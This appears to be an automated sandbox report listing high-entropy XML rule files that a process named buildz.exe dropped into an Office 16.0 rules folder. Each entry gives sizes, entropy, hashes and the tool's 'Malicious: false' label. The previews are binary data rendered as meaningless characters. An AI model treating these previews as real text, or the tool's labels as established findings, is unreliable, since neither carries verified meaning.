SHA-512:	457FE2E93EFB49B44D10FB69AAC0875DF32C1A865DFBF9FFC153D16249DEB900F4D30CD60AA6A1D125B527BA0492733C1658EBB4A7084F35A9E91BA0095D1FDF
Malicious:	false
Reputation:	unknown
Preview:	<?xml..../....UH..Y.......{y...bq.u...i.#.C..?{&A.;....f. .m...\|..%.!..9..:[.+..).6w...>0..s_..i<kfH7..U........1.8\|h4Ue..d.V.Y......Y.(..I.%.\/...=.h..,..c.s...cv...p...Q@..-.01...VE...2../..}...B...j#7....@...W...g...,.C...c...U.h....RA.........\|.4.<....k._..p~k..+t...om&^~\.pU.e).M.qO_..M..`./.hv..:l...(...q2)....#...({Z.ca2.......seC.:M..W..]._...]Xo.\.x.5....<5.]\.x2...4._.x;@..K.6...JK.V.d.$....Y.N........Z .w..'G..@B..:y+.;\|.........>K.G..FoCb....K.t:B..8<..!M...W...b.\|J^..2%.X..E..9.RD.?.(.U1p...%...M..[..-]...3b"0.A..u{.....-3............!D..!u.....T.].l.>..g.R.3;.HJ.c..nW..t../...h.-.s.Na]...buz..5..v.0........0xv.ut..uR.F..%..1...QW.,t.....9L..q.I}...T.......M2;(Z0..D..$.n!1..#.+...+.......tw..Pq...Z.m....NI.S..^."....H%.D.kN..L.`)..\|m=.yL.+.Z.K-P.{.....7o.Kg...u..3.ck's..."..T..L\....Yp..q.Gw..W.kq....:R.`}...yP..-.i......=.wN.Uz..\..3W./F..V..6.X..O.4...y........;...O...\..y~g.A..M.x...s.5...w;...`.....b.c.. 0U.....[......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.892129538308178
Encrypted:	false
SSDEEP:	48:6989Yma30vUFF+k/vjuB6DdRvKz1YXT7NBD:H9WSUFFH3SB6XCz1Yj7H
MD5:	929BB5E679F4566642A900513E156A4C
SHA1:	C6DD395FC17F98C94BE33747412FC27EECFD629A
SHA-256:	AF1598688051A043EAFB466F9FC7A7C656E606457E140CB1B8F4CE2783A97C6D
SHA-512:	B190208CD2D40B27173347D85AA1AE3568254F7048C75F00477F311A535AB74DAB6C1151928EBBFA6C25F7A53665C68A03AF5AE836706A392D5EFD98646C20A1
Malicious:	false
Reputation:	unknown
Preview:	<?xml.UD.\|...$%..M).J...}s{tG(....cq.......Z..3.A./..R.If.=.vsL.1T...I.A..e...../...!hnY...5..BG...!+.........^g.k1...g:.b.....#.h.3.A.d)sW............YT.5.h}..Mo.+I=+.b.\......3M.....8........V+I......?.ij.F......^.......(...x.....Q..5....0IN@....U.T'8.....vljhiV.>.6R3L....zA..DV..#.. z....@I_.`.....rvL._...J.@.....+..v....+..vj..58....V.p....4.\|.TZ..2......r#.;..#.~ ...;m.Rd.Gb..{,..g.F.PKtM...... 2..t?s..X{Q.m#..%........F.:.3.k...s!...[c.L.&9..b....`.}...['.t#.!Q.<.(.....D.0..,.......b....W.Z......PW.\..n8S.T.(w,....`j...j<."..n.sG.g.....,...U..............Pm.r5.......z... ].s.q..5(B..$..{..0.12-.V...B.. .c..p..:....9V...&..dd..}..O...z.W?.+)....;...h`..uG.9....$.Wfi.lL..9.....f.l.Y.W..z.KU.0C.....D.3U.J...B...n..W.!~..w.....xYH..y.(..7(%.....KtFB.(g...,...jq.lDm.-2-)..}.$~..d.H.AB\|..l..".x8...VHY...........UN.w0...$.SY.8\e-...?."..1@...Tp(....%..S.../4.T.(....&.....YaN.n%<...>{.._...\,..3......8....6.kN-}.m.EP..{..,f#........S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8911161224791995
Encrypted:	false
SSDEEP:	48:kos92/QN2P1w0rGN8w7vF/yToipcq+f9GDD:vQIbK8w7vF/yUip+f9C
MD5:	AE45A65F4A525AB4E4470033AA116C10
SHA1:	68EBEB9D507E7B552521DB78486665538A1BD753
SHA-256:	C7453A71DB1984671808789C77F77F9317FB6B8A5683C0DFA0ACFFA5B5B80A08
SHA-512:	686C30506D5FEFE22C1165339D545CBD8F521545AB6870C794DAA90FFE6E3409B5D3967455DFB51B5423467AE9CB328C791A59AAFD1CA2BED6DB3C17110D38F0
Malicious:	false
Reputation:	unknown
Preview:	<?xml`vw.%K.}.};-.#......b_'.@...`...+...../...d~k.S.h..BA8...Q..^..L.GGi.......SH.S.b%W7.H......x.e...".u.F......k.....e.....8d.\|O[]..>(..B.....[R9.AfP..$..w.$.....3.,.` .....A1\H..A.t_e.k.?..4{....T...5...8.0.3...k....5............D,'/.>F1\|.$.`..E..c...MM.l.n...~..p.......$.Wv.+.....tI.jO.3.u4..m....hV.L......[!.K.i.._..r..(..}b.O;..].E-G8....4_....5^.NM..._..H].;..c.=.t\..6..q:.4.z..?.u....wa..J\.1.l-.e.ZBk..k.u...W3..............q.G..(.WC.Y..,7.=.gd.../...2..[..p..........{C/....{3.J.GQ..=....:.ix..T...71O....J/3X...Q=.A...N.)J......2PD...0..Nn....)..k........(....#...B@.y!q\|3...{....'..z.J.....u....t....n.z...~.>n...c...9..M_...^....q.3R.(......R2...$~)X.;.<....k...E3.U....G\FMP..!.%.8.#ee&..f...om[.p..D....Y....s.Np....\|..\|......y.).V.s..]...6e.....#..r~x...%...\i..I.o...Q..}.......}.$do[...Kx...V./0.=Es.#...l..;.L.)..x..2..._XH......O.j9.2.J...I?w@...pi.m.Na../....?..r{..q....x.H.t..a.\|.)....9.}....{.+........k'./..y....r....=........x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.870651715163866
Encrypted:	false
SSDEEP:	24:d/0ROKf2c1Zs83gPlmwp6aFia+uMUiMk4LN/Vx/lWeupxQnM/eF4XH43TzdGoTvx:B0Rv/RilmShN6LH4M/7YvdFTvWyEMpD
MD5:	3316D7A90C6F3801C48B9BF60EE39EDC
SHA1:	1EA0CA75804E4796E86B109042CA0610F782B322
SHA-256:	420FBDD3AC8486747AD69C0818BD49106F277059DBFE712D67FF1361D0BA6999
SHA-512:	318E34BF81BD67A859065A4F8C48E1B1BE89DD797803728991F3693E46F963ED7B2598E535D155CB63336DF3AB07EC8D08F703FB9B1EECBB81C8E4E8FC2BB769
Malicious:	false
Reputation:	unknown
Preview:	<?xmlqv.O....Y..}......(..D-.3a?....!p...4.+hG.;+@...6e.....%.......$.Y.a.9..W.~.......r\..4.I.O};....qm....S....+.){......@0IW.2..R66O...m!..gL....He..../(PJA.-..L{.....f$K7.X...._.......u...N./.A!!....{.......n.."..hDPK.....T..../4J...5.:......0....+.jZ.L....;....6.1Cj..7.\....U.U...E........hz.".Wv:.$,.`r..o..US...C.V/.-p.+....b........J..3..6... y.B....Qb.i.._(......c`7...z3.#.9...... PF.p%/.N..... .F...o...1.<....'hac.{z)...J.s......{$...R.r#..o..e.........D.s.@.DHB.e.....3........l...c14.:..=R...i..{.G.&.6t`...r.<Urt..+..;.....~9l.q.4......?#.....M8......kt^......I....3.9y!r...M.`.Rjki=.,.q>.H[........{......F..J..4 P..!b\.C..d...F..h....N....I.r....{...^....o......\.v.".s..=..D.F=...!...t....J...Y.0a-({3..........u..$..1G-....Y.XF)..7...xe.B....p4G..o.1^..K..'.m..F..3;..;..y.....-.....[^..7DP..CTN.....v..9{.U.1..3....N../%)..a..'.B.....a.......H(.'.vF.h..v.q.-....2S.....PII).Z;....w..7Kh3F.I.....on.....$C..e._.A........i.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.893641190980015
Encrypted:	false
SSDEEP:	48:I6BfFfLOAOmRk6XlLi8KCCmIpu5uV5dIPsL84iJD:hfDRNXti8KCCmIpu5ufmPsLpK
MD5:	07BF2B7EE3C0C6D6D953AC49C531D7E9
SHA1:	78640BBF15B5E2BBB96461EFACD6460BB19F0E42
SHA-256:	C8C5EE1C8578582A749E34ED374B523035B7ED31C29AFCC59ABECF451C18FACA
SHA-512:	266BE355949FA8622E567BAC5DF19D39422C65F2EB11B5DB30DC102CAB8E1741986B3E3B0C9C5F830AA4A641D9B4B9209B6BFDAC6ED0275B594F6CFD70686A9E
Malicious:	false
Reputation:	unknown
Preview:	<?xml....R..id..1\|?.B...+.oA3J..g.v&.!...s.>..........Z1.`~..Z.2..@h_...NT.`...{.J.].w.'...f..'CX.'X.....A9..{.F.p...\|.......CU...........4..W...B}..........e.MPP.._......I.%;.<.X..I`.K....P7...'gW.X!2.......>z.P.<.\|.....S.U~J_8).+n....>fxn......0..2.......4.x.!....>...%.'.C-B..[.,."X&..'..Q.....I.[X..i.....#.R..>.../..y:m...j...A.!.4.$._.=...q....~V....J:-.....x....60....Kk......-....}...ny.9.......a[.nm(O....tl1P$8M..T....c..,]r..u.~.`.hv....g7....E..oc.....x....4uZ...;)....6.q..o..w..........I.Mv3...BV...Kh..d..G<.br....'._0..l.......K7I ..3.b...-fMS6..6.D;;..F...q\..=+..7..#.......&(s.9...A.u../N.4...1B.....9..v.c..j._E]......s}5O.kg..PZ...:.....n...2....PS.!V...c..Ru.~..N.../....Juu..bw.....}<.q..&.i...dd.\.S.C+X.Y_..cL.o....s...M..H...#...e.".....1{..."..0..b/(.N...\. ..:J..p........3.Y.^....C....q.g....I.z....Y.l..3t...U.l..%..l.>]..DnI..cn.B.....r.p..gHa....}A..C...]..D..H."...T.......YzY..(....qQ.BL>J.\...qF$.Y.[...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877842412418718
Encrypted:	false
SSDEEP:	48:rXt4lfmOr89h+s17TaVyCTBx8w1o6ADKD:rXSbrg+spOVyCp
MD5:	4B0818EE34BFC2FD645086C9F1EA87C9
SHA1:	654E8501606E76FFF37C8983FF3023B18499CBF7
SHA-256:	370EAC8DFB5623A035738FE7E39AA6376D5D56051FBCA1FC3E3A2C59672F8EB2
SHA-512:	45FD9B5CD820E08A406DDAF7B3A67C3A157912DA0517AB9FB10A050E7D9F5BA79EBBDC8CF3EDB95267DAF4180AABFFC5965063F1DD5BA585EF11743B9CDA757E
Malicious:	false
Reputation:	unknown
Preview:	<?xml...B.?...1F.,bL&.P.1.)Z.d....-.?.e.r.!l.....F./k\|..P..0..A....B.0:q..".".....3..l.V4t......8p.P%H"2;.@0...<..z.$.Yf.....>X.^6.,v....@x.A...L.j.M..<..a.>..~...C5.x.......y.{%..Q......Tj...[....."../!.))..-}<.o..Prt3......t..F....AS.).4J..k...{.k..K.4.....Q..\|.r....x Zdi.Z.5...\........D.X.q..v..].Z.`...`..f.......I..V.}L%..j.-O\....#8.G[.G.-2f..I.p`..R...Y:..~...k.h.5E....;.<.W.Z...!..Z...>..W.#..UN"....x!..l{pw.......H..c.Cuy.CU3.F.~...s..p..y.+d>..M._H..t.Y.\J.d.s.l.dEb.7_.oo..B..$...G..-.\|.O.(y..G...D.E....o..KB...r....a8b..C+..G`....y.G3J-z.._... ..=.L...D........cM;x.....fCP.BH..C.C..^........%Q.^o}.[..YZM.J....3.=.,......5Q..7.........2...m.....d..c[......i{.?.&..)!..@C.`.~..n.c........bwL..N.oUJv.R..Y.....(.`.L...[87D.K.<.~.............9.......5.."...T........9..!I1;SDQ..]....:...1.3;..qAQ...S..j7...}..[Kuc.i.T0......F.l.3?....H...\.jY..!...V.....Sg...w],.n..N....pK. ....(..L.c..,.!......,..i'..>.f>v_~G;w...Z.!.."....m..L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.872388541688956
Encrypted:	false
SSDEEP:	48:mdniT7FPxJ8GgZX23XGAzi9h0epk6jGupD:m6xPxJfyMG8id5jh
MD5:	BD4D8825961C285A37F800524816F56E
SHA1:	2B70497CBDB4B1D20CB7EA47EF4F5062DA4A158F
SHA-256:	D606F16F658553F471188C0EA18DF60B845841BA2860EB503AE2D4E92B00B463
SHA-512:	CCCABB0DFA96ED03613C50AE04048B20556131EC63A5CCF7166AF7F7A3A77BC70E4EEA819ED153FA9C04C47F924E3197A28A5729F121FF85078CBC0ED4B60F13
Malicious:	false
Reputation:	unknown
Preview:	<?xml....N?S.8.f..?...c.).\|..+D......Y...."jP..F..VN.R.9.F.bD.U(bR}.e.n.dw.7_=0ictH.w..kH..&\...8.~@........j+......1.....=...W..-Z.c.mzp..g......Vn....H<..!..O....6O2.........{cy.J`...2D...&.n..7b....u..U.g#..T"...E.....J.)).....l....A.;AYy5Y...3t..Nk..9U......U,..VmU.9........dNRE.b.<.,.;.Q.DJ* p.C.e .\.nm.i.9rS%Lo,...$J#f......^=?....L..{GH..N.[rW.I..TV.v......[...=...(O.........~M.Zp.U....&.E;.....(....VO...!._;..Y....h,...;.'4>......Y"+.r..P.xa........~...>.....`...j....P...Va.......8%u..d.;.I....E..8....N.$.p.2c=\........L,..../.go2..&._..\.I,f...!v...2-...;.........1d.)%!..@......"Y....-....K..$f....Owa,.b..A.(..}.L....[.2.P.9...?...D3..q.+...\|-Gf.8&,.....0.....~.I.....P2... .k..... ..w.y:...!ELb'7=.......H.e../..Zu.v3..I... .S._.KC.5\.7..G7.a..DB..'.D.o..;..\|...%..."....ah...:..b..}H..L....}>...M.Kr.;.`..8.gYY.i./6..v......x.n..O#...P.......O......\|6.......=r.1.p.M/.yqcXh..zX.....y..Gr`..x.\|.RX..Y.)..~6.B.}F.....=.7.xk.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.865550102638909
Encrypted:	false
SSDEEP:	24:2p2bkvD+YbslOKvzbTiZhuXt9Da2FBji/+tTzaVQOnGWWGxYD/wRxcpfRVsqv0NX:gskvbswyjir4WW5tzaC8rrGnV3vGD
MD5:	C588F5D998C7A48438C04DFD586F2963
SHA1:	A9CB7C298A327ED44D117676C2746AB81CECBD01
SHA-256:	B1FE3B255E68321911B66C452A3FCE393CAA338F775CE20C49C98840A3482B89
SHA-512:	EF541C20AE1A1671E5B0189FB1BAD7CA9508708D9F361F18118A2054D26FCEB9D56E4C7A0771AB9D43FA9966A5EFEE40F27C9536FAB6873F716B3F6AF2C16FAF
Malicious:	false
Reputation:	unknown
Preview:	<?xmld..r.snaj...t.{.[.v$.....V.F..{p.x.k.=.....m...R...Q...%Y...'....I.;...0..&..Y...%L._....("A..m;..}d......& h...Z.">.Lz.)..Y...,.4.%1y-...RR.e......]....c..3]vYl4...$......./:....(.KJZMp.uC......Q$..(O......s...Y.....EP.y....~h.....Rn#.H5...&w..93.......'.$P.d2..$.%..!.:J.U........i.?DS.......4......H..$b<6..0......E..y^.w.R[........l.6..M..Ro..Z...jZ.....F..~.[k!c.0.7.jT..>......,.....I.4..2......k.R...?..j?.M.`.]..S.......5..~{..]...E...S.P............V.9...l..l-}s.......^.'.2...]&.A...:>.....p.$..w.^].w-..L'e.\|J'..B.+..(_[.5#.....E....x...T..R..)E:bGk:..X.0....~8-?.3p.`...7~V:n.....\|.....B..i.{W...4.w+3.b..K.........6\Y.B...<XuK......e...5..d...A...>f.K.m....m.iUDY.B!..gP...7V..l8U....p...[....!#T....Cg..e..y..(...Qp..'..4.BF...a..A.$.a....h".-..d.}...P..W.-([.1.k..o....f.fKu}...4X.>......Y..:.x(.t.../dTJA....nt.\|...{.....>f,.F.......N.....9...X2A.....t.\|........{.3..n%1tK\|... V./........).5.&Tk.....^..2...g}.+.x}...^\|..;m.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.88437658844054
Encrypted:	false
SSDEEP:	48:wv+ZlXxfGbZlPMi+XXpUAN6i0i54KTEHK9zMaD:JxxebZlPeHFN4Adn9oy
MD5:	B12772597EEF2BB212DA67780C245840
SHA1:	D34D68BB83E039C9F929444A02073BAE57111940
SHA-256:	4DDF105B0F8EC83EBCF45FA0FBD270ACB9658A3C96EFA6E1EE5B075325D1DC61
SHA-512:	33DF52A042E9D95DD27DC54DFF3EE5D88D06F15A6CB602022B7FE4AF8901AED589F6BE0110A947693CFA54AFFD69184EED35E55DE1551EF5E4180DD5DF1D31FB
Malicious:	false
Reputation:	unknown
Preview:	<?xml............OHF$..`.FI...8...#KvgI^.7.8...!..!A..3.V.7..t....O.Ou#L.!.F._..7...G .865t..Y...&..GW.X~&d.V....P.U....I....DX~Z}\{.<._Q..O..`U.....Z...9v...C..%......EG.67...B-......-....R.!..8......n.Vl.....\.v...X...........?.....E.....o7CAb\|.3...\b1.T.....H.<..?..)eI...t'..........Dc.E3....<....RRYg..@l.&m.TJ.j..x...O]..p.(.K.K..\.-..3.1k7m.....K...'..i.....)l......:........Ge.6..E.}%..G......k.q...n]>!F...G......B.B.d.{....,........=#..9B.\{...RpT.yP.\|..[:..KJ...S.....@3.j....'.../\...t...r...]..}a......j.yb.>p.._b}..8 D$6.T./..3.3Nv.>.../.1TG..6...1,..v.CY..`Q.6-......`..'....-e)..-<Z........e.:..fWH.$C..-.W...U1...H...(.P..7..>...Phz.........%..V....x..\E..2...&...K;.;.o..7.....Y.....K...,*..pB.-.b.i~.....#.....4.....1.....'.oEC...X.'....+.........u....../.....qmN.....K.#..x.i{@.K...s.O\|...E.N.w]..M.3..,..\.?...R..a....6...??m.A"\|.U.F..@I1.......A......~....n.D.`........:.T.....D....+XQ....14....(.7..UiyLW......4.B.s..-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.884507034429261
Encrypted:	false
SSDEEP:	48:AemwSZSvhJiWsYDIhDU0mZ1PhnmnTkVmaWXl0D32OD:AeGZS3iTdhfmZ1PAnTk4aWqD322
MD5:	C808A48344CEA250D2C4A64AFD047145
SHA1:	D6B96098A2153FB8298F83A720AEF346C58E1526
SHA-256:	829FC1F339981EB550152AB5B0A5B6430F20FC2391F6082241E9E6F9083CBE67
SHA-512:	8314D0972D9A7F1A567CA8A0B5868ED899873FB834B605BF40A47192F611E6EF404D9FDB8CF3EC59E99F2A4809151A6C07822B883B82DD5AEF37AACED8EAFDF5
Malicious:	false
Reputation:	unknown
Preview:	<?xml.+.kN).?.vTU.85".W.M.4......(.L.....C.D..M,w....G"........3tC.l.I.2....u.bj{..f.h}.f....g..x...nY.2...\|.....9Q..:n..._..wU92.k...E(..3....J.I...._f(YDq..q...pIA.To:\|H.!. ...Z.#.............././...p.0.....p..^........%.}....0G...m...e.\|...x.....y..$...<g.c..c...k...cF..i..K.0......L.s(..r.[._....'..(....D...\.'.g.~8^.._..`..B.3On.`OM2..'....&.....{.(j.UKU...D>&H.[.....`.....U...!....,..70...0...2.Bh...CZ.^.x.U{...;,..2...(b....I\|..J.w....5b...`.Ss.p+...$.gQ ..u...J.N...@"....6.ud"...W.T..k....)..-3.Z..FM.x...p1-..v.$.D.D.p.-E.{22c...h........z2.`..^...j"..:.....k..C,..`.V.s.......F.v.....W..\|....)_@...` ...C.6......E..x>.j.G..J..q.t.a.8..]U2.Z.N..`+...AM.....RHe7(..0.G.`...`.9.Q..j....B._&M\|Rp.....e..S.=....5..<..#`.k....M.V.().q....Ps....9...B.%.d...........}.9..,~h...\pH.x'-..D.yI.T.....N7.,I.4..K.g?....s.....t.$!....3Sp......X...........P.0..A..\|W..\|...C.......@..9.B.>3..=.!....SC.D&.e.=.7.*.V.Q.h.. .&..4l".........z...T"#.'r..0.3b.=..w.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885399358857353
Encrypted:	false
SSDEEP:	48:bk3nP1HFBn9aCjep/LCcu1wcJjrCIs/VuNs9UD:bk3P1HnhjeZxu19jru/Vd6
MD5:	CDC4A2A0DD80EDA9579E935806326D4B
SHA1:	261057DDE926A47DBA2BC02CACB92CC4CF5F2F56
SHA-256:	FEC8721F1DBBF517CC1F50948768838AC1FE8739E72AD3FD0C8D997A41E98B9B
SHA-512:	B72392D4E715BB55BE16FDAA11BD8457944BE434232B2691229AEB429580ACB89E08ACCF1FF0F13D55DAE9FE04D5BC55C7FF14F2DDE7D594E65DD4645A4867A0
Malicious:	false
Reputation:	unknown
Preview:	<?xml .\|D.{:\Xx.S)]B.....Z+Zo..Hr#,.....E.:_...i...P....{>H...A...@..j..~.....(..q.....E...y.<:.........a..E..}y......];1..xw..F....!..\...=1.!=[Qq.k.[.GG_.T..SG.5S<...$.D3...Fs o.....(........3...m..6u..c...J....JK..k.q/.M....C^.,.w@[q.a..EG.#C....."..........;..._.NC...2'..m....U.......\|..D.....g.. ....ZQ;....?.....p..[YD.&:..UE-..r>.#z.&p,.D...8.(.Ov....<:V_f.........w.......0...l.\.E....1.....(.D.v.....[/..r)r...kiAD.......~x<.8.1j..>l...\|l.../...W...\|....."T7.r..k.u.u'...'.+ HU.... p8....t.....A.P......Ig....p...`\..g..^..z..T....#.Gh...,3..s...:.Kg2..%.f5`56. .5#.&e....G..vV{.......-.Y.s-NCV.K..8 <.X@...dM.s$....w..~.c...9........oFV.:.W02..\.....%...Y\.B.. .....v..%.}...RQ..q.m.r..7..P .`.........1.A..<......U.\|...N......5....h.Be..!kF..o.......UF..'...1..>.UK.1.g.\|.{.V..+$."x........KA...../h ...8...F.`".>..{.....x.';l.`).x.....V........I.w".-..\|.#........3.......`.cw!.t.M/....'.T`....j.AY0..K.\|....'.....F .i..U.0..^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.896362464108127
Encrypted:	false
SSDEEP:	48:rGjGIO6vWeKM4sfj5NNdqQJeIIOkwTMwEXdD:cV0fmNNdqQJe8HKXl
MD5:	74897D191C0D104C3409FD6A37278B89
SHA1:	2B567A62BDB2E614F876CC83808F3A22FD36DD64
SHA-256:	BE299B805274AF87D7C9D410B59C2766ED6BB41075E4EE88AFC086F7172C00A3
SHA-512:	E65C47D44A13A70384EEDFB139128E243C2CB621481624B55AEAFCB77726FC7CAD1B7B0C9429602800FFAE804983892D7AAFFED10EE12906A98ED86250EBD34F
Malicious:	false
Reputation:	unknown
Preview:	<?xml......?'.wuJj.pQ.b..{./<6&m.nX.oWb..1..g...5&l}..jw..^>......_'..@....V......q.B.:...".'\|.T.dMN..._..!..RY....3........"i......hY.B.R..TZvnf......g..O.PS.t...t.Z1.y....G.^j...o.......U......V#v[8.9.m.N....U.x..Y...}_..o..U2A..2.\...H._`z..;C.....q"..L.G.r.R..n..h........sA.R.O/.q..#.....7J.........T.b'..wgP........6e+.DWr.lZ.. '..).y'!.5.7........Ym....o>\Z..'.[....u....lo.y.. ..M....I..L...d.....Bx.......J...>ggb.&...$)ML.H..,..W............[_.....k...B!..k....X~.....\.....dA..JO6^:.I..K...\|_........e.:.G=...=(...a..h.r^J.0.......b..pbM..=......c....!.....-.4....j7.(.....\|"/iW....'.[FD.......]..~1\7x......;....+Q[=...I.0.U.7...G..{Cn-......$.$..=...H^.4.....r....T,...8..K.....P..qR".m{....9o.u...\|...d..8.........Ikxwn."....v..9.0...H......F.$.'.uE[M.....~"..`.k...r]c}O..7.j..........y.a.0...b........S....9~....tp.!..0."4R#o........].e3.Q......,nnRc-}.0.z.4.o...a.V.S...(Z...c..rS)....g.0.X.wi...?.....3=..(p.j.....*t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.88894806457037
Encrypted:	false
SSDEEP:	48:WGCxyA0JhapOyxmlD1VzhlSmQnRvwo2ULXa/yDYsXQc/pPSUWVD:WGcvoMOzz6mUyovTygYmt/wUWt
MD5:	19E46AF4F27A4E6667A53A692D21E487
SHA1:	0E54A267F1D6AF2F6F16635668D2B469FD31BFB5
SHA-256:	B22E2628F6FC27BB7CCDCDEB212DD6589E142E3D85EC2203840A7E5B0CBEAA37
SHA-512:	7AAE787FBFC1A1673219CA6937E276B34D38B3562F16D81E9681828CE349F265FBAE8B3A3091098D575CD7621FEFA241013D1215306E2A53A7DF0B659E07F2DF
Malicious:	false
Reputation:	unknown
Preview:	<?xml..X....h.RP..Nq.K'.n....Q...a.A..<.l..$....@...E.V]_Me&N...A+....B..U...i}....}i.&..H.....H..?. .J.@\|....G..)..k.G......s...E.u..&I)...6...g..".B.;..v...L.7..px\Z1Np....e...@^......+v.j2.O.Rw.uV...d.t...6X<..+m...\>.....t..8."F.j....>dp.o...C9&...`...Q..r......<l........k;....q.....r.7<.!..Wj;..."t...@YH'.......S.O.vK........ :....?~...Mw.h.k-.l.i.qd...........1. ....N(hy.X.H..^@,.%:9.._T}.z..>..~Y ..~.%.1....j/..!.K.Y.x.{..I..z..fUi...G....F...j.....M......D0.$. ..q.\|H#.A...M...!.wl.....B.......g ...h..x6...E..oA).....-I......9...]A.W.......H....@-@K..i.Q-Ab.K.....^Q. ..%...ny$XJ{..rm..._w.d..=>..;.g.../.!H.K".L..y.....P.v.j.(A?.A5'.....2....S85)#..G.n..C.....W...%0g..3..._/.X.....gW+..I......-....<..kw8x.......e._...^!...I......../.u(....rP"p?.N.d .....d.;.f.......m]._..n.... ..K.R..l..5.....!.....V.U.w;.....>.< h...2)...-O&.eI.QB.0.....s.f......a..A0..p..5,..d.@B...t&q29C..[.R.8'.IQ........N..}.T..}i.M:{.V...............%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.896738079039698
Encrypted:	false
SSDEEP:	48:kv/yehg+eosd9Y3FBdhK8cggSa84FRw+kc0Y8ba7L0wD:iKesPQBdhUNNfZkc1tws
MD5:	3672C93C0CA3612C990CEADB0CC262CF
SHA1:	8EACD9FC00827486D10B98A4E8E49D00D2ACED54
SHA-256:	5987E1DBE7FEA33565914C2495C659DDA2FA32275453C2CE50433DB185301C14
SHA-512:	22F1232E431066BD96B0C0CC31D82F551FDA8DAF08A79B1036B06798DCF4955301CAC62AF31B07B53DC4FA4A42E85777B220801BDCD1ED2BCFDFD268451E0F48
Malicious:	false
Reputation:	unknown
Preview:	<?xmlN..?2.....n.L.V.0.M..a...W.S..^..#Y.&+...0........3.A.P.r.}Q..N.j]Ce.4.....59..i.....s,......Y.9..w...c.t-.<-...........%...'........>l.DM.....V..j..=b......f%n.h....N..[o....t..V6.i....l.7...;J.B.f...1..T.]..^..l..[..3..P..KF....Y...Bg...7.c5}^.TBu..E\|..P..8.d......2......m/.. ..^~..P.`.....wa.......q.<y...7.N...+_.....d,.. ...H[k..gV..?.............(.W....oCB{.?..Vn.:CG..6~..C):.....T......uN..f....>..H.X..r.T.m.k....,....5Qj.T.0.X..#..."..a.1.3.\..G{g..L...QB-.r....,;F...............\|.$..........c..)..(y.... ...U...X...^.w.cZSu.rJY......s....2....6.j...h/.....,....o.C.T>.....<t...;nvsX"......7.+#.&..y{P.X\9<....j{G[1.5*.{.h.m.k.=.u.n_.....9h...)&.bL&.'..hq..7?>.G.......B}....1 ..A......:.......WE..Y&IqLL.r.%.W.d.g'...VN.......&.rY3u%.M....'( H.-.>.e.<v..t.d.,..h.Q....R.p.l=.I..#Ky=1../..H9..7&.kW.C+.W...m..j.c....0F..uE.6u.9k....u.h.LM.o.25.mg........f.cz..k..q..2..Z..Z.G.m......7.....Y....Bv.J....RG...$.}~....}........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.883784131146411
Encrypted:	false
SSDEEP:	48:acFvwNUzyfBS2/hQQhpE0S6x/2xT9BemiuzD:XkAoj9DEbCI/emiuf
MD5:	BD430F4F3B653A30FBABF6954CCD96AC
SHA1:	9A42A1BF5D96924419F9CA81B0C167A871C23362
SHA-256:	D89884B18287448D86F0BAB358B3ABF83F466778060138120857AB11A58452FA
SHA-512:	872593DA41C9E8ED3A2D660C75C466A60D2239C066625ABD1B992644D136D1894B9D3E5093308194960EF4817FC501DB532412DDF745DE335CC042CD570EE4B0
Malicious:	false
Reputation:	unknown
